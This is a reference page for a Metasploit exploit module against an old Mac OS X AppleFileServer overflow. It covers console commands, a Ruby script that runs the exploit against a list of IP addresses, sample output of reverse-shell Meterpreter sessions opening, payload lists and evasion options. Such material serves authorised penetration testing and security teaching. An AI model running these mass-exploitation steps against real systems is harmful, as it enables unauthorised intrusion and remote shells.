AppleFileServer LoginExt PathName Overflow - Metasploit


This page contains detailed information about how to use the exploit/osx/afp/loginext metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: AppleFileServer LoginExt PathName Overflow
Module: exploit/osx/afp/loginext
Source code: modules/exploits/osx/afp/loginext.rb
Disclosure date: 2004-05-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): 548
List of CVEs: CVE-2004-0430

This module exploits a stack buffer overflow in the AppleFileServer service on MacOS X. This vulnerability was originally reported by Atstake and was actually one of the few useful advisories ever published by that company. You only have one chance to exploit this bug. This particular exploit uses a stack-based return address that will only work under optimal conditions.

Module Ranking and Traits

Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage

Using loginext against a single host

Normally, you can use exploit/osx/afp/loginext this way:

msf > use exploit/osx/afp/loginext
msf exploit(loginext) > show targets
    ... a list of targets ...
msf exploit(loginext) > set TARGET target-id
msf exploit(loginext) > show options
    ... show and set options ...
msf exploit(loginext) > exploit

Using loginext against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your loginext will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/osx/afp/loginext")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the osx/afp/loginext exploit module looks in the msfconsole:

msf6 > use exploit/osx/afp/loginext

[*] No payload configured, defaulting to osx/ppc/shell/reverse_tcp
msf6 exploit(osx/afp/loginext) > show info

       Name: AppleFileServer LoginExt PathName Overflow
     Module: exploit/osx/afp/loginext
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-05-03

Provided by:
  hdm <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Mac OS X 10.3.3

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   548              yes       The target port (TCP)

Payload information:
  Space: 512
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in the AppleFileServer 
  service on MacOS X. This vulnerability was originally reported by 
  Atstake and was actually one of the few useful advisories ever 
  published by that company. You only have one chance to exploit this 
  bug. This particular exploit uses a stack-based return address that 
  will only work under optimal conditions.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2004-0430
  OSVDB (5762)
  http://www.securityfocus.com/bid/10271

Module Options

This is a complete list of options available in the osx/afp/loginext exploit:

msf6 exploit(osx/afp/loginext) > show options

Module options (exploit/osx/afp/loginext):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   548              yes       The target port (TCP)

Payload options (osx/ppc/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X 10.3.3

Advanced Options

Here is a complete list of advanced options supported by the osx/afp/loginext exploit:

msf6 exploit(osx/afp/loginext) > show advanced

Module advanced options (exploit/osx/afp/loginext):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (osx/ppc/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the osx/afp/loginext module can exploit:

msf6 exploit(osx/afp/loginext) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X 10.3.3

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the osx/afp/loginext exploit:

msf6 exploit(osx/afp/loginext) > show payloads

Compatible Payloads
===================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  payload/generic/custom                              normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                      normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                   normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/osx/ppc/shell/bind_tcp                      normal  No     OS X Command Shell, Bind TCP Stager
   4  payload/osx/ppc/shell/reverse_tcp                   normal  No     OS X Command Shell, Reverse TCP Stager
   5  payload/osx/ppc/shell_bind_tcp                      normal  No     OS X Command Shell, Bind TCP Inline
   6  payload/osx/ppc/shell_reverse_tcp                   normal  No     OS X Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the osx/afp/loginext exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/afp/loginext) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

hdm

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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